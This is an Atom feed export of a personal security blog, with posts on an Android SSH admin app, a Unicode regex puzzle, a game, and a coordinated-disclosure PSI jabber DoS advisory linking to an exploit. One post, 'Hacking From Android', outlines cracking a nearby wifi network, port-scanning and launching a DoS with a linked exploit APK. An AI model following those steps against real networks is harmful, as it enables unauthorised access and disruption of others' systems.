<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-34286802</id><updated>2012-01-28T22:08:47.484+01:00</updated><category term='ForceCommand'/><category term='sandbox'/><category term='priviledge scalation'/><category term='pokerstars security'/><category term='acroreat'/><category term='bug'/><category term='ssh security flaw'/><category term='sand'/><category term='malware'/><category term='poker'/><category term='ssh command execution'/><category term='adsense hack'/><category term='denegacion de servicio'/><category term='plan9 security'/><category term='client bug'/><category term='p9'/><category term='safemode bypass'/><category term='automatization'/><category term='test'/><category term='acroread exploit'/><category term='acid'/><category term='virii'/><category term='sandwich'/><category term='ptrace'/><category term='cracking'/><category term='adsense dangers'/><category term='anti'/><category term='adsense bypass'/><category term='dos'/><category term='safemode'/><category term='bypass'/><category term='protection'/><category term='opera'/><category term='reversing'/><category term='hack'/><category term='system'/><category term='antiautomatization'/><category term='php bypass'/><category term='bot'/><category term='denial'/><category term='php'/><category term='pokerstars connection'/><category term='security'/><category term='plan9'/><category term='ssh'/><category term='google adsense'/><category term='poker stars'/><category term='escalada de privilegios'/><category term='poker security'/><category term='acrobat cracked'/><category term='ssh flaw'/><category term='captcha'/><category term='antivirus'/><category term='php hack'/><category term='ingenieria inversa'/><category term='adsense'/><category term='CVE-2007-3378'/><category term='kernel'/><category term='pokerstars'/><category term='virus'/><category term='exploit'/><category term='9p'/><category term='client exploit'/><title type='text'>software security blog</title><subtitle type='html'>In this blog I post my current investigations about virii, cracking, hacking and reversing.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>45</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-34286802.post-2741383289221456259</id><published>2012-01-28T21:47:00.005+01:00</published><updated>2012-01-28T22:08:47.496+01:00</updated><title type='text'>Oh, perdí mis bookmarks!</title><content type='html'>Quien no ha perdido sus preciados bookmarks, y con ellos su clasificación en carpetas, descripciones personalizadas, tags, etc?&lt;br /&gt;&lt;br /&gt;Cambiando de pc, o reinstalando el sistema, o desinstalando un navegador ...&lt;br /&gt;&lt;br /&gt;Entonces la gente empezó a usar delicious, donde la única gracia es que por fin nunca más los vas a perder, y además van clasificados con un sistema de tagging, muy útil para encontrar las cosas.&lt;br /&gt;&lt;br /&gt;Pues bien, tras la compra de de delicious por Yahoo, se perdieron grandes cantidades de datos de los usuarios, en primer lugar por tema legal, tenías que autorizarles en un plazo de tiempo o te los borraban, pero incluso gente que autorizó, también los perdió.&lt;br /&gt;&lt;br /&gt;Bueno, en mi caso, durante varios años recolectando y clasificando bookmarks, para cuando los necesitara, pues todos perdidos o_O&lt;br /&gt;&lt;br /&gt;Entonces, hice un sistema de bookmarks y lo dejé abierto, sin autenticación, la gente no entrará, pero si alguien lo visita y quiere guardar alguna url, pues puede usarlo.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://labs.badchecksum.net/"&gt;http://labs.badchecksum.net/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ya nunca más perderé mis bookmarks, quien quiera utilizarlos puede, quien quiera registrar nuevas urls tb puede.&lt;br /&gt;&lt;br /&gt;La primera vez que buscas algo es mejor google, pero la segunda vez que quieres encontrar eso mismo, mejor buscarlo en el sistema de bookmarks.&lt;br /&gt;&lt;br /&gt;He implementado un sistema de tagging, que acepta distancias levenshtein &lt;= 1, y que analiza la web y auto-taggea para ayudarte a elegir los tags.&lt;br /&gt;&lt;br /&gt;He implementado algunos filtros de sql injection, regexp injection y persistent XSS, porque seguro que mis colgas me lo "auditan" ;)&lt;br /&gt;&lt;br /&gt;Os animo a probarlo.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-2741383289221456259?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/2741383289221456259/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=2741383289221456259' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/2741383289221456259'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/2741383289221456259'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2012/01/oh-pedi-mis-bookmarks.html' title='Oh, perdí mis bookmarks!'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-7593692349651417386</id><published>2012-01-14T14:47:00.012+01:00</published><updated>2012-01-18T22:51:52.988+01:00</updated><title type='text'>Android SSHControl v1.0 relased!!!</title><content type='html'>&lt;div style="text-align: justify;"&gt;Hoy sabado 15, he subido al Market de Android la versión 1.0 de SSHControl, con nuevas funcionalades y la esperada opción "Custom Commands".&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-0zZjYNDqAOc/TxGJGJwwmBI/AAAAAAAAAIk/hyhXxle4u6M/s1600/icon_hight_res.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 320px;" src="http://4.bp.blogspot.com/-0zZjYNDqAOc/TxGJGJwwmBI/AAAAAAAAAIk/hyhXxle4u6M/s320/icon_hight_res.png" alt="" id="BLOGGER_PHOTO_ID_5697485742393038866" border="0"&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe src="http://www.youtube.com/embed/Z1DwHIhnj6c" allowfullscreen="" frameborder="0" height="315" width="420"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Esta aplicación permite controlar tus servidores linux, bsd y unix con solo un dedo, mediante esta app Android.&lt;br /&gt;Y soluciona las siguientes problemáticas:&lt;br /&gt;- Manejar una shell desde el pequeño teclado de un móvil es engorroso.&lt;br /&gt;- Leer todos los resultados de un comando en la pantalla del móvil, nos dejamos la vista.&lt;br /&gt;&lt;br /&gt;Esta app permite interactuar con servidores remotos simplemente haciendo pulsaciones en la pantalla, mediante un explorador de ficheros, de conexiones, etc..&lt;br /&gt;&lt;br /&gt;Las funcionalidades nuevas de esta versión 1.0 son:&lt;br /&gt;&lt;br /&gt;- Administración del Firewall Iptables.&lt;br /&gt;- Opción de Custom Commands, tal como había prometido.&lt;br /&gt;&lt;br /&gt;Las funcionalidades ya presentes en la v0.8 son:&lt;br /&gt;&lt;br /&gt;- escalada a root mediante su y sudo&lt;br /&gt;- gestor de procesos&lt;br /&gt;- explorador de ficheros, editor de ficheros, editor de permisos.&lt;br /&gt;- monitorización y baneo de conexiones&lt;br /&gt;- Visualizadores de logs&lt;br /&gt;- administrador de drivers&lt;br /&gt;- estadisticas de disco&lt;br /&gt;&lt;br /&gt;Para la versión 2.0 preveo:&lt;br /&gt;&lt;br /&gt;- Escuchar música remota&lt;br /&gt;- Descarga de ficheros (wget)&lt;br /&gt;- Transferencia segura de ficheros entre servidores (scp)&lt;br /&gt;- Gestures, para administrar los sitemas en plan minority report :)&lt;br /&gt;&lt;br /&gt;App disponible en el market para 861 tipos de dispositivos y pronto disponible en tablets.&lt;br /&gt;&lt;br /&gt;&lt;a href="https://market.android.com/details?id=net.ssh.SSHControl"&gt;https://market.android.com/details?id=net.ssh.SSHControl&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Cualquier sugerencia de mejora: sha0 [4t] badchecksum [d0t] net&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-7593692349651417386?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/7593692349651417386/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=7593692349651417386' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/7593692349651417386'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/7593692349651417386'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2012/01/android-sshcontrol-v10-relased.html' title='Android SSHControl v1.0 relased!!!'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-0zZjYNDqAOc/TxGJGJwwmBI/AAAAAAAAAIk/hyhXxle4u6M/s72-c/icon_hight_res.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-4365346867621486988</id><published>2011-11-20T13:55:00.006+01:00</published><updated>2012-01-14T18:20:23.900+01:00</updated><title type='text'>Administración remota de servidores desde Android</title><content type='html'>Sería muy util poder administrar todos nuestros servidores desde la palma de la mano. &lt;br /&gt;&lt;br /&gt;Sin embargo una shell linux, no es viable en el teclado de un teléfono incluso de un tablet, sobretodo porque hay que escribir muchos símbolos, por ejemplo el guión, y estos teclados están pensados más bien para texto.&lt;br /&gt;&lt;br /&gt;Pues bien, de esta necesidad surgió la aplicación SSHControl:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://market.android.com/details?id=net.ssh.SSHControl"&gt;SSHControl&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Esta problematica la he solucionado a base de utilizar nevegadores y estructurar los outputs para no acumular excesiva información en la pantalla.&lt;br /&gt;&lt;br /&gt;- Navegador de ficheros&lt;br /&gt;- Navegador de procesos&lt;br /&gt;- Navegador de conexiones&lt;br /&gt;- Navegador de logs&lt;br /&gt;- Navegador de drivers de kernel&lt;br /&gt;&lt;br /&gt;Esto permite administrar múltiples servidores con un solo dedo :)&lt;br /&gt;&lt;br /&gt;Controlar la seguridad de sus servidores ahora es bastante sencillo y ágil, por ejemplo con solo hacer un "tap" encima de un usuario, podemos ver sos procesos asociados, con hacer otro tap en un proceso podemos kilearlo, ver mas info etc ..&lt;br /&gt;Con hacer un tap encima de una apliacción, vemos sus conexiónes, con un tap en una conexión podemos agregar una regla de filtrado en el firewall, etc ..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;En la siguiente versión habilitaré la opción de "Custom Commnands", la cual es muy util, &lt;br /&gt;cada administrador o usuario linux, tiene una serie de comandos que repite con mucha frecuencia, &lt;br /&gt;bien pues esta opción permite pre-programar estos comandos habituales, de manera que puedes lanzarlos con un simple tap.&lt;br /&gt;&lt;br /&gt;En el roadmap tengo pensadas nuevas funcionalidades muy útiles :) &lt;br /&gt;&lt;br /&gt;Aqui os dejo algunas capturas de pantalla:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-M-t7-JCxHiw/Tsj8vZGi4RI/AAAAAAAAAH0/wFbc9aZ1DYE/s1600/d.jpeg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 214px; height: 320px;" src="http://2.bp.blogspot.com/-M-t7-JCxHiw/Tsj8vZGi4RI/AAAAAAAAAH0/wFbc9aZ1DYE/s320/d.jpeg" border="0" alt=""id="BLOGGER_PHOTO_ID_5677065221422899474" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-fzoZeaqaIPg/Tsj837QSyRI/AAAAAAAAAIA/eshzsT2v4SA/s1600/a.jpeg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 214px; height: 320px;" src="http://4.bp.blogspot.com/-fzoZeaqaIPg/Tsj837QSyRI/AAAAAAAAAIA/eshzsT2v4SA/s320/a.jpeg" border="0" alt=""id="BLOGGER_PHOTO_ID_5677065368029546770" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-vFgnRjk-BUY/Tsj8_EHY5NI/AAAAAAAAAIM/nfr8J2ggwgE/s1600/g.jpeg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 214px; height: 320px;" src="http://3.bp.blogspot.com/-vFgnRjk-BUY/Tsj8_EHY5NI/AAAAAAAAAIM/nfr8J2ggwgE/s320/g.jpeg" border="0" alt=""id="BLOGGER_PHOTO_ID_5677065490667201746" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-txmmDEAmo0Y/Tsj9E7vLxTI/AAAAAAAAAIY/9GlROBEc5-k/s1600/e.jpeg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 214px; height: 320px;" src="http://1.bp.blogspot.com/-txmmDEAmo0Y/Tsj9E7vLxTI/AAAAAAAAAIY/9GlROBEc5-k/s320/e.jpeg" border="0" alt=""id="BLOGGER_PHOTO_ID_5677065591497409842" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-4365346867621486988?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/4365346867621486988/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=4365346867621486988' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/4365346867621486988'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/4365346867621486988'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2011/11/administracion-remota-de-servidores.html' title='Administración remota de servidores desde Android'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-M-t7-JCxHiw/Tsj8vZGi4RI/AAAAAAAAAH0/wFbc9aZ1DYE/s72-c/d.jpeg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-8964948418316611237</id><published>2011-07-01T13:04:00.005+02:00</published><updated>2011-07-01T13:22:09.496+02:00</updated><title type='text'>Resolución de ExpedientesX de código</title><content type='html'>Hoy me he topado con algo bastante gracioso que puede liarte unos minutos:&lt;br /&gt;&lt;br /&gt;python&lt;br /&gt;&gt;&gt;&gt; import re&lt;br /&gt;&gt;&gt;&gt; a='owjf oasijf aw0oifj osfij 4.4.4.4 oasidjfowefij 192.168.1.1'&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ok, pues ahora copy-pasteais cada una de estas:&lt;br /&gt;re.findall('[0-9]̣̣',a)&lt;br /&gt;re.findall('[0-9]',a)&lt;br /&gt;&lt;br /&gt;Son exactamente iguales, pero si paseteais una da resultados diferente a si pasteais la otra :)&lt;br /&gt;&lt;br /&gt;Pasteamos la primera:&lt;br /&gt;&gt;&gt;&gt; re.findall('[0-9]̣̣',a)&lt;br /&gt;[]&lt;br /&gt;&lt;br /&gt;Pasteamos la segunda:&lt;br /&gt;&gt;&gt;&gt; re.findall('[0-9]',a)&lt;br /&gt;['0', '4', '4', '4', '4', '1', '9', '2', '1', '6', '8', '1', '1']&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;o_O, he repasado caracter a caracter y son visualmente iguales, si mirais en un editor hexa vereis que realmente no lo son, lógicamente no se trata de un expedienteX.&lt;br /&gt;&lt;br /&gt;La cuestion es que según la fuente que tengais, debajo de la comilla o debajo del ] hay un punto microscópico :)&lt;br /&gt;&lt;br /&gt;Esto es como cuando me emparanoie de que gmail cuando llevas un rato escribiendo un email y se hace auto-save, aparece una especie de acento raro en la pantalla :)&lt;br /&gt;&lt;br /&gt;En estos casos, la metodología tipica de copypastear un trozo de la primera sentencia con el resto de la segunda sentencia, te lleva a los 2 caracteres que varían, pero no aprecias (segun la fuente que tengas) la diferéncia.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;6572 662e 6e69 6164 6c6c 2728 305b  392d &lt;span style="font-weight:bold;"&gt;cc5d cca3 27a3&lt;/span&gt; 612c 0a29&lt;br /&gt;6572 662e 6e69 6164 6c6c 2728 305b  392d &lt;span style="font-weight:bold;"&gt;275d&lt;/span&gt; 612c 0a29&lt;br /&gt;&lt;br /&gt;Son dígitos unicode, sabe Dios de que pais, y sabe Dios también como los escribí con mi teclado, &lt;br /&gt;se me ocurren bromas de código fuente que se pueden hacer con esto :D, pero vamos, si tenemos metodología de reaccién ante expedientesX, sobretodo aquello de divide y vencerás dicotómico, en pocos minutos se resuelven este tipo de problemas.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-8964948418316611237?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/8964948418316611237/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=8964948418316611237' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/8964948418316611237'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/8964948418316611237'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2011/07/quebradero-de-cabeza.html' title='Resolución de ExpedientesX de código'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-6107964495620480230</id><published>2011-06-27T21:18:00.005+02:00</published><updated>2011-06-27T21:30:18.116+02:00</updated><title type='text'>Android WarStrategy</title><content type='html'>Well, &lt;br /&gt;this post is not about security, &lt;br /&gt;when I was 12 I liked to code games in spectrum and later on pc, &lt;br /&gt;3 months ago, in my limited free time, I decided to code some android games, &lt;br /&gt;this is the first one, a funny arcade battle-game about tanks and rocket launchers.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://market.android.com/details?id=com.game.WarStrategy"&gt;Android Arcade War Game&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This is the main logo of the game:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-hzcXYzgIc0w/TgjZgmfqG7I/AAAAAAAAAHc/SdqMiwqOZmk/s1600/icon.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 320px;" src="http://3.bp.blogspot.com/-hzcXYzgIc0w/TgjZgmfqG7I/AAAAAAAAAHc/SdqMiwqOZmk/s320/icon.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5622983288884435890" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This is a promotional pic:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-Qqbn7Q_kwCs/TgjZrD86cvI/AAAAAAAAAHk/w43r9gCoIw4/s1600/promocional.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 180px; height: 120px;" src="http://1.bp.blogspot.com/-Qqbn7Q_kwCs/TgjZrD86cvI/AAAAAAAAAHk/w43r9gCoIw4/s320/promocional.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5622983468590461682" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And this is one of the several tank and missile launchers I drawed with gimp:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-53ZSsR7IkOk/TgjaAXOhFiI/AAAAAAAAAHs/qnExpwzdW3I/s1600/bomblauncher.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 40px; height: 19px;" src="http://1.bp.blogspot.com/-53ZSsR7IkOk/TgjaAXOhFiI/AAAAAAAAAHs/qnExpwzdW3I/s320/bomblauncher.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5622983834541823522" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I expect you enjoy with this game.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-6107964495620480230?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/6107964495620480230/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=6107964495620480230' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/6107964495620480230'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/6107964495620480230'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2011/06/android-warstrategy.html' title='Android WarStrategy'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-hzcXYzgIc0w/TgjZgmfqG7I/AAAAAAAAAHc/SdqMiwqOZmk/s72-c/icon.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-3376534140884235102</id><published>2011-02-22T13:16:00.006+01:00</published><updated>2011-02-22T13:52:50.692+01:00</updated><title type='text'>Hacking From Android</title><content type='html'>The first step is crack a close wifi network with WifiCrack or similar:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-bA3UlAYtHgk/TWOxUe9cNvI/AAAAAAAAAHA/aibxAbj4F9A/s1600/icon.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 45px; height: 45px;" src="http://3.bp.blogspot.com/-bA3UlAYtHgk/TWOxUe9cNvI/AAAAAAAAAHA/aibxAbj4F9A/s320/icon.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5576495729081071346" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="https://market.android.com/details?id=com.wifi.crack&amp;feature=search_result"&gt;See the app here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Next, we can perform a portscan with AndroScan:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-zxMq9YjlQVk/TWOu9gtUgyI/AAAAAAAAAG4/GYJmpuDQLDw/s1600/androscan_icon.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 48px; height: 48px;" src="http://4.bp.blogspot.com/-zxMq9YjlQVk/TWOu9gtUgyI/AAAAAAAAAG4/GYJmpuDQLDw/s320/androscan_icon.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5576493135390081826" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href=https://market.android.com/details?id=com.netscan&amp;feature=search_result&gt;See AndroScan Here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Once you have identified livesystems and their udp and tcp services, you can connect to the services detected with several applications, or launch a DoS attack, I have ported the SMB DoS exploit to Android, it can be installed from here:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.badchecksum.net/code/exploits/VistaDoS.apk"&gt;VistaDoS.apk&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Happy hacking from Android.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-3376534140884235102?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/3376534140884235102/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=3376534140884235102' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/3376534140884235102'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/3376534140884235102'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2011/02/hacking-from-android.html' title='Hacking From Android'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-bA3UlAYtHgk/TWOxUe9cNvI/AAAAAAAAAHA/aibxAbj4F9A/s72-c/icon.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-1803834039900171477</id><published>2008-12-29T10:15:00.006+01:00</published><updated>2010-08-25T12:40:24.965+02:00</updated><title type='text'>PSI remote integer overflow</title><content type='html'>I once scanned myself from internet, and 8010/tcp port was detected. &lt;br /&gt;my PSI jabber file transfer service was exposed to internet.&lt;br /&gt;&lt;br /&gt;Then I fuzz this service and found a nice DoS.&lt;br /&gt;&lt;br /&gt;A signed integer check lets crash remote PSI's and I think is not possible to overflow the heap, becouse the destination buffer is reallocated to the same amount of bytes to be copied.&lt;br /&gt;&lt;br /&gt;I have reported it to the coders, and then they give me the ok to launch the advisory:&lt;br /&gt;&lt;br /&gt;&lt;a href=" http://www.securityfocus.com/archive/1/499563"&gt;advisory&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.exploit-db.com/exploits/7555/"&gt;exploit&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Be aware with the services you are exposing to internet, and be aware with your client applications (browser, jabber, msn, email client ..) &lt;br /&gt;&lt;br /&gt;code has bugs ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-1803834039900171477?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/1803834039900171477/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=1803834039900171477' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/1803834039900171477'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/1803834039900171477'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2008/12/psi-remote-integer-overflow.html' title='PSI remote integer overflow'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' 